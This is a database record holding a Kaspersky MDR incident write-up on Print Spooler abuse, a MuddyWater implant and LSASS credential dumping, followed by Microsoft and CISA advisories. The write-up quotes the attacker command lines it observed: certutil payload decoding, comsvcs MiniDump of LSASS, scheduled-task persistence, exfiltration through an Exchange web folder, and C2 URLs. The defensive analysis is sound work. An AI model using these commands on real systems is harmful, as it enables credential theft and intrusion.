intercepted. | \\REGISTRY\\MACHINE\\SYSTEM\\Control \nSet001\\Control\\Lsa\\MSV1_0 \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14150937/MDR_interesting_cases_01.png>) | Then the attacker re-added spooler to the planned tasks. \nAfter that, execution of various commands on the host with System privileges was observed. The source of this activity was _c:\\windows\\system32\\spoolsv.exe_ process | C:\\Windows\\System32\\cmd.exe /c \nnet start spooler \nC:\\Windows\\System32\\cmd.exe /c \ntimeout 600 &gt; NUL &amp;&amp; \nnet start spooler \n \nThe table below contains signs of suspicious activity that were the starting point for investigation.\n\n**MITRE ATT&CK Technique** | **MDR telemetry event type used** | **Detection details** | **Description** \n---|---|---|--- \n**T1570: ** \nLateral Tool Transfer | Web AV exact detect in _OnDownload_ mode | AV verdict: HEUR:Trojan.Win32.Shelma.gen | Attacker downloads \nsuspicious DLL (that is, \nMeterpreter payload) via \nHTTP \n**T1140:** \nDeobfuscate/Decode Files or Information | Local File Modification | Process command lines: \ncertutil -decode 1.txt \nC:\\Share\\hello4.dll | Attacker used _certutil_ \nto decode text file into PE \nbinary \n**T1003.001: \n**OS Credential Dumping: LSASS Memory | AV exact detect in _OnAccess_ mode | AV verdicts: \nVHO:Trojan\u2011PSW.Win64.Mimikatz.gen \nTrojan-PSW.Win32.Mimikatz.gen | Attacker tried to use \nMimikatz \n**T1127.001: \n**Trusted Developer Utilities Proxy Execution: MSBuild | Outbound network connection | Process command line: \nC:\\Windows\\Microsoft.NET\\Framework\\v4 \n.0.30319\\MSBuild.exe C:\\Share\\1.xml | MSBuild network activity \n**T1210: \n**Exploitation of Remote Services | Local File Modification | Modified file path: \nC:\\Windows\\System32\\spool\\drivers\\x64 \n\\3\\old\\1\\hello5.dllFile modifier: \nC:\\Windows\\System32\\spoolsv.exe \nParent of the modifier: \nC:\\Windows\\System32\\services.exe | Legitimate \nspoolsv.exe locally \nmodified \nc:\\windows\\system3 \n2\\spool\\drivers\\x6 \n4\\3\\old\\1\\hello5.dll \n**T1547.012: \n**Boot or Logon Autostart Execution: Print Processors \n**T1033: \n**System Owner/User Discovery | Process start | Command line: whoami \nProcess integrity level: System \nParent process: \nC:\\WINDOWS\\System32\\spoolsv.exe \nGrandparent process: \nC:\\Windows\\System32\\services.exe | Legitimate \nspoolsv.exe started \nwhoami with System \nintegrity level \n**T1547.012:** \nBoot or Logon Autostart Execution: Print Processors | Outbound network connection | Process command line: \nC:\\Windows\\System32\\spoolsv.exe \nRemote TCP port: 4444/TCP | Legitimate \nspoolsv.exe made a \nconnection to default \nMeterpreter port \n(4444/TCP) \n**T1547.012:** \nBoot or Logon Autostart Execution: Print Processors \n**T1059.003:** \nCommand and Scripting Interpreter: Windows Command Shell \n**T1033:** \nSystem Owner/User Discovery | Process start | Command line: whoami \nProcess integrity level: System \nParent process: \nC:\\Windows\\System32\\cmd.exe \nGrandparent process: \nC:\\Windows\\System32\\spoolsv.exe | Legitimate \nspoolsv.exe started \ncmd.exe that started \nwhoami with System \nintegrity level \n \n## MuddyWater attack\n\nIn this case, the Kaspersky MDR team detected a request from the customer's infrastructure to a malicious APT related host. Further investigation allowed us to attribute this attack to the [MuddyWater group](<https://attack.mitre.org/groups/G0069/>). MuddyWater is a threat actor that first surfaced in 2017. This APT group mainly targets government agencies in Iraq, Saudi Arabia, Jordan, Turkey, Azerbaijan, and Pakistan. Kaspersky's report on this group's activity is available [here](<https://securelist.com/muddywaters-arsenal/90659/>).\n\nAmong other methods, the group uses VBS implants in phishing emails as an initial attack vector. During execution, the implant accesses URLs with a common structure to connect to the C2 server. The typical structure of the URL is provided below.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14151840/MDR_interesting_cases_05.png>)\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14152658/MDR_interesting_cases_06.png>) | First of all, MDR analysts found a VBS implant from startup, presumably related to the MuddyWater group, to be running on the monitored host. | \\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\KLWB6.vbs \n---|---|--- \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14150937/MDR_interesting_cases_01.png>) | After script execution, some malicious resources were accessed. The structure of these URLs follows the common structure used by the MuddyWater group. In addition, the accessed IP address was observed in other attacks of this group. | hxxp://185[.]117[.]73[.]52:443/getTarget \nInfo?guid=xxx-yyy-zzz&status=1 \nhxxp://185[.]117[.]73[.]52:443/getComman \nd?guid=xxx-yyy-zzz* \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14153224/MDR_interesting_cases_07.png>) | Next, execution of commands to collect information from the compromised host was observed. | "C:\\Windows\\System32\\cmd.exe" /c \nexplorer.exe >> \nc:\\ProgramData\\app_setting_readme.txt "C:\\Windows\\System32\\cmd.exe" /c whoami >> c:\\ProgramData\\app_setting_readme.txt \n \n**_* xxx is company short name (identifier), yyy is the victim hostname and zzz is username_**\n\nTable below contains signs of suspicious activity that were the starting point for investigation.\n\n**MITRE ATT&CK Technique** | **MDR telemetry event type used** | **Detection details** | **Description** \n---|---|---|--- \n**T1071: \n**Application Layer Protocol | Access to malicious hosts from nonbrowsers | Target URL: \nhxxp://185[.]117[.]73[.]52:443/getTargetInfo?guid \n=xxx-yyy-zzz&status=1 \nCMD line: \n"C:\\Windows\\System32\\WScript.exe" C:\\Users\\USERNAME\\AppData\\Roaming\\Microsoft\\Windo \nws\\Start Menu\\Programs\\Startup\\KLWB6.vbs \nProcess: \nC:\\Windows\\system32\\wscript.exe | VBS script accessed malicious URL during execution \n**T1071:** \nApplication Layer Protocol | URL exact detect | Malicious URL: \nhxxp://185[.]117[.]73[.]52:443/getTargetInfo?guid \n=xxx-yyy-zzz&status=1 \nAV verdict: \nMalware | Malicious URL was successfully detected by AV \n \n## Credential Dumping from LSASS Memory\n\nIn the last case, we'd like to talk about an attack related to collecting credentials from the LSASS process memory dump (T1003.001 MITRE technique). Local Security Authority Subsystem Service (LSASS) stores a variety of credentials in process memory. These credentials can be harvested by System or administrative user and then used for attack development or lateral movement.\n\nMDR analysts detected an attempt to dump the LSASS process memory on the monitored host, despite the fact that most of the attacker's actions did not differ from the usual actions of the administrator. The attackers used two public tools (the first one was detected and blocked by an AV solution) to dump the LSASS process memory and export the obtained dump via Exchange server. In particular, the MDR team observed the download and execution of a suspicious DLL file (categorized as SSP) by LSASS.exe.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14151347/MDR_interesting_cases_04.png>) | The attacker executed several recon commands to get more information about the host, and then ran commands to get the LSASS process ID. | C:\\Windows\\System32\\tasklist.exe \nC:\\Windows\\System32\\findstr.exe /i sass \n---|---|--- \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14150937/MDR_interesting_cases_01.png>) | After that, the attacker tried to run a malicious tool to dump the process memory, but it was blocked by an endpoint protection solution. | "C:\\Windows\\System32\\rundll32.exe" \nC:\\Windows\\System32\\comsvcs.dll MiniDump 616 \nc:\\programdata\\cdera.bin full\n\n_## 616 is LSASS process id_ \n \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14154017/MDR_interesting_cases_08.png>) | Then the attacker tried to dump the LSASS process memory using another tool. They unzipped an archive containing the _resource.exe_ and _twindump.dll_ files. | C:\\Windows\\System32\\cmd.exe /C c:\\"program files"\\7- \nzip\\7z.exe x -pKJERKL6j4dk&@1 c:\\programdata\\m.zip -o \nc:\\windows\\cluster\n\n## _resource.exe_ and _twindump.dll_ files were created \n \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14151142/MDR_interesting_cases_03.png>) | Subsequently, the file _resource.exe_ was added to the planned tasks and executed. However, the attempt to obtain an LSASS dump was unsuccessful. | C:\\Windows\\System32\\cmd.exe /C \nC:\\Windows\\System32\\staskes.exe /create /tn Ecoh /tr \n"cmd /c C:\\Windows\\cluster\\resource.exe \nase2af6das3fzc2 agasg2aa23gfdgd" /sc onstart /ru \nsystem /F\n\n## staskes.exe is a renamed schtasks.exe file \n \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14154042/MDR_interesting_cases_09.png>) | Later, one more attempt to perform this technique was made. The attacker unpacked an archive containing another malicious utility, and ran it the same way as previously. The created files are presumably related to the [MirrorDump](<https://github.com/CCob/MirrorDump>) tool. As a result, the attacker successfully obtained an LSASS dump. | C:\\Windows\\System32\\cmd.exe /C c:\\"program files"\\7- \nzip\\7z.exe x -p"KJERfK#L6j4dk321\u2033 \nc:\\programdata\\E.zip -o c:\\programdata\\ \nC:\\Windows\\System32\\cmd.exe \n/C c:\\windows\\system32\\staskes.exe /create /tn Ecoh /tr \n"c:\\programdata\\InEnglish.exe g2@j5js1 0sdfs,48 \nC:\\programdata\\EnglishEDouble \nC:\\programdata\\EnglishDDouble \nC:\\programdata\\English1.dll \nC:\\programdata\\English.dmp" /sc onstart /ru system /F C:\\Windows\\System32\\cmd.exe /C c:\\windows\\system32\\staskes.exe /run /tn Ecoh \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14154059/MDR_interesting_cases_10.png>) | Then the obtained dump was exported to Exchange server. Afterwards, the attacker deleted all the created files. | C:\\Windows\\System32\\cmd.exe /C copy \nc:\\programdata\\Es.zip \nc:\\Program Files\\Microsoft\\Exchange Server\\V14\\ClientAccess\\owa\\auth\\Es.png \n \nTable below contains signs of suspicious activity that were the starting point for investigation.\n\n**MITRE ATT&CK Technique** | **MDR telemetry event type used** | **Detection details** | **Description** \n---|---|---|--- \n**T1003.001:** \nOS Credential Dumping: LSASS Memory | AV exact detect | AV verdict: \nPDM:Exploit.Win32.GenericProcess command line: \n"C:\\Windows\\System32\\rundll32.exe" \nC:\\Windows\\System32\\comsvcs.dll MiniDump \n**616** C:\\programdata\\cdera.bin full \nParent process command line: \nC:\\Windows\\System32\\wsmprovhost.exe - \nEmbedding \nGrandparent process command line:: \nC:\\Windows\\System32\\svchost.exe -k \nDcomLaunchProcess logon type: 3 (Network logon) | Remotely executed \nprocess memory dump \nwas detected by AM \nengine \n**616** is LSASS process \nPID \n**T1003.001:** \nOS Credential Dumping: LSASS Memory | Create section (load DLL) \nExecute section (run DLL) | DLL name: C:\\programdata\\english1.dll \nProcess: C:\\Windows\\System32\\lsass.exe \nProcess PID: **616** \nParent process: command line: C:\\Windows\\System32\\wininit.exe \nProcess integrity level: System | Unknown DLL was loaded and executed within lsass.exe \n**T1003.001:** \nOS Credential Dumping: LSASS Memory | Inexact AV detect | Internal AV verdict: The file is Security Support \nProvider (SSP) \nFile path: C:\\programdata\\english1.dll \nProcess: C:\\Windows\\System32\\lsass.exe | Unknown DLL loaded to lsass is SSP \n**T1053.005:** \nScheduled Task/Job: Scheduled Task | Create process | Process command line: \nC:\\programdata\\InEnglish.exe g2@j5js1 \n0sdfs,48 C:\\programdata\\EnglishEDouble C:\\programdata\\EnglishDDouble \n**C:\\programdata**\\English1.dll \nC:\\programdata\\English.dmp \nParent process command line: \ntaskeng.exe {7725474B-D9EA-473D-B10D- \nAC0572A0AA70} S-1-5-18:NT \nAUTHORITY\\System:Service: \nGrandparent process command line: \nC:\\Windows\\System32\\svchost.exe -k netsvcs \nProcess integrity level: System \nProcess user SID: S-1-5-18 | Suspicious executable from C:\\programdata run as scheduled task under _System_ privileges \n \nObserved malicious files:\n\nc:\\programdata\\e.zip | 0x37630451944A1DD027F5A9B643790B10 \n---|--- \nc:\\programdata\\es.zip | 0x3319BD8B628F8051506EE8FD4999C4C3 \nc:\\programdata\\m.zip | 0xC15D90F8374393DA2533BAF7359E31F9 \nc:\\programdata\\inenglish.exe | 0xCB15B1F707315FB61E667E0218F7784D \nc:\\programdata\\english1.dll | 0x358C5061B8DF0E0699E936A0F48EAFE1 \nc:\\windows\\cluster\\resource.exe | 0x872A776C523FC33888C410081A650070 \nc:\\windows\\cluster\\twindump.dll | 0xF980FD026610E4D0B31BAA5902785EDE \n \n## Conclusion\n\nAttackers follow trends. They use any loophole to break into your corporate network. Sometimes they learn about new vulnerabilities in products earlier than security researchers do. Sometimes they hide so skillfully that their actions are indistinguishable from those of your employees or administrators.\n\nCountering targeted attacks requires extensive experience as well as constant learning. Kaspersky Managed Detection and Response delivers fully managed, individually tailored ongoing detection, prioritization, investigation, and response. As a result, it provides all the major benefits from having your own security operations center without having to actually set one up.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-12-15T10:00:42", "type": "securelist", "title": "Kaspersky Managed Detection and Response: interesting cases", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-12-15T10:00:42", "id": "SECURELIST:830DE5B1B5EBB6AEE4B12EF66AD749F9", "href": "https://securelist.com/kaspersky-managed-detection-and-response-interesting-cases/105214/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "mscve": [{"lastseen": "2023-05-23T16:35:55", "description": "Windows LSA Spoofing Vulnerability", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 5.3, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 1.4}, "published": "2021-08-10T07:00:00", "type": "mscve", "title": "Windows LSA Spoofing Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-36942"], "modified": "2021-08-10T07:00:00", "id": "MS:CVE-2021-36942", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36942", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2023-05-23T16:35:50", "description": "Microsoft is investigating reports of a remote code execution vulnerability in MSHTML that affects Microsoft Windows. Microsoft is aware of targeted attacks that attempt to exploit this vulnerability by using specially-crafted Microsoft Office documents.\n\nAn attacker could craft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine. The attacker would then have to convince the user to open the malicious document. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.\n\nMicrosoft Defender Antivirus and Microsoft Defender for Endpoint both provide detection and protections for the known vulnerability. Customers should keep antimalware products up to date. Customers who utilize automatic updates do not need to take additional action. Enterprise customers who manage updates should select the detection build 1.349.22.0 or newer and deploy it across their environments. Microsoft Defender for Endpoint alerts will be displayed as: \u201cSuspicious Cpl File Execution\u201d.\n\nUpon completion of this investigation, Microsoft will take the appropriate action to help protect our customers. This may include providing a security update through our monthly release process or providing an out-of-cycle security update, depending on customer needs.\n\nPlease see the **Mitigations** and **Workaround** sections for important information about steps you can take to protect your system from this vulnerability.\n\n**UPDATE** September 14, 2021: Microsoft has released security updates to address this vulnerability. Please see the Security Updates table for the applicable update for your system. We recommend that you install these updates immediately. Please see the FAQ for important information about which updates are applicable to your system.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-07T07:00:00", "type": "mscve", "title": "Microsoft MSHTML Remote Code Execution Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-08-16T07:00:00", "id": "MS:CVE-2021-40444", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-40444", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-05-27T14:46:53", "description": "A remote code execution vulnerability exists when the Windows Print Spooler service improperly performs privileged file operations. An attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\nUPDATE July 7, 2021: The security update for Windows Server 2012, Windows Server 2016 and Windows 10, Version 1607 have been released. Please see the Security Updates table for the applicable update for your system. We recommend that you install these updates immediately. If you are unable to install these updates, see the FAQ and Workaround sections in this CVE for information on how to help protect your system from this vulnerability.\n\nIn addition to installing the updates, in order to secure your system, you must confirm that the following registry settings are set to 0 (zero) or are not defined (**Note**: These registry keys do not exist by default, and therefore are already at the secure setting.), also that your Group Policy setting are correct (see FAQ):\n\n * HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Printers\\PointAndPrint\n * NoWarningNoElevationOnInstall = 0 (DWORD) or not defined (default setting)\n * UpdatePromptSettings = 0 (DWORD) or not defined (default setting)\n\n**Having NoWarningNoElevationOnInstall set to 1 makes your system vulnerable by design.**\n\nUPDATE July 6, 2021: Microsoft has completed the investigation and has released security updates to address this vulnerability. Please see the Security Updates table for the applicable update for your system. We recommend that you install these updates immediately. If you are unable to install these updates, see the FAQ and Workaround sections in this CVE for information on how to help protect your system from this vulnerability. See also [KB5005010: Restricting installation of new printer drivers after applying the July 6, 2021 updates](<https://support.microsoft.com/topic/31b91c02-05bc-4ada-a7ea-183b129578a7>).\n\nNote that the security updates released on and after July 6, 2021 contain protections for CVE-2021-1675 and the additional remote code execution exploit in the Windows Print Spooler service known as \u201cPrintNightmare\u201d, documented in CVE-2021-34527.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-01T07:00:00", "type": "mscve", "title": "Windows Print Spooler Remote Code Execution Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-16T07:00:00", "id": "MS:CVE-2021-34527", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34527", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-27T14:47:00", "description": "Windows Print Spooler Elevation of Privilege Vulnerability", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-06-08T07:00:00", "type": "mscve", "title": "Windows Print Spooler Remote Code Execution Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-02T07:00:00", "id": "MS:CVE-2021-1675", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "cisa": [{"lastseen": "2021-11-26T18:11:40", "description": "**_Updated: August 24, 2021_**\n\nCISA is aware of open source reporting on the active exploitation of [CVE-2021-36942 (PetitPotam)](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942>). To address this vulnerability, Microsoft released a patch and [mitigation guidance](<https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429>) as part of its August 2021 security updates. CISA strongly encourages users and administrators to review those updates and take the necessary actions as soon as possible.\n\n_**Original: August 10, 2021**_\n\nMicrosoft has released updates to address multiple vulnerabilities in Microsoft software. A remote attacker could exploit some of these vulnerabilities to take control of an affected system.\n\nCISA encourages users and administrators to review Microsoft\u2019s August 2021 [Security Update Summary](<https://msrc.microsoft.com/update-guide/releaseNote/2021-Aug>) and [Deployment Information](<https://msrc.microsoft.com/update-guide/releaseNote/2021-Aug>) and apply the necessary updates.\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/08/10/microsoft-releases-august-2021-security-updates>); we'd welcome your feedback.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "baseScore": 5.3, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 1.4}, "published": "2021-08-10T00:00:00", "type": "cisa", "title": "Microsoft Releases August 2021 Security Updates", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-36942"], "modified": "2021-08-24T00:00:00", "id": "CISA:1AD0E0C2A1CB165DDD5F6A0F4C21101D", "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/08/10/microsoft-releases-august-2021-security-updates", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2021-11-26T18:09:51", "description": "Microsoft has released mitigations and workarounds to address a remote code execution vulnerability (CVE-2021-40444) in Microsoft Windows. Exploitation of this vulnerability may allow a remote attacker to take control of an affected system. This vulnerability has been detected in exploits in the wild. \n\nCISA encourages users and administrators to review [Microsoft\u2019s advisory](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444 >) and to implement the mitigations and workarounds.\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/09/07/microsoft-releases-mitigations-and-workarounds-cve-2021-40444>); we'd welcome your feedback.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-07T00:00:00", "type": "cisa", "title": "Microsoft Releases Mitigations and Workarounds for CVE-2021-40444 ", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-07T00:00:00", "id": "CISA:C70D91615E3DC8B589B493118D474566", "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/09/07/microsoft-releases-mitigations-and-workarounds-cve-2021-40444", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-01-26T11:32:30", "description": "CISA has issued [Emergency Directive (ED) 21-04: Mitigate Windows Print Spooler Service Vulnerability](<https://www.cisa.gov/emergency-directive-21-04>) addressing [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>). Attackers can exploit this vulnerability to remotely execute code with system level privileges enabling a threat actor to quickly compromise the entire identity infrastructure of a targeted organization. \n\nSpecifically, ED 21-04 directs federal departments and agencies to immediately apply the [Microsoft July 2021 updates](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) and disable the print spooler service on servers on Microsoft Active Directory (AD) Domain Controllers (DCs).\n\nAlthough ED 21-04 applies to Executive Branch departments and agencies, CISA strongly recommends that state and local governments, private sector organizations, and others review [ED 21-04: Mitigate Windows Print Spooler Service Vulnerability](<https://www.cisa.gov/emergency-directive-21-04>) for additional mitigation recommendations.\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/07/13/cisa-issues-emergency-directive-microsoft-windows-print-spooler>); we'd welcome your feedback.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-13T00:00:00", "type": "cisa", "title": "CISA Issues Emergency Directive on Microsoft Windows Print Spooler", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, 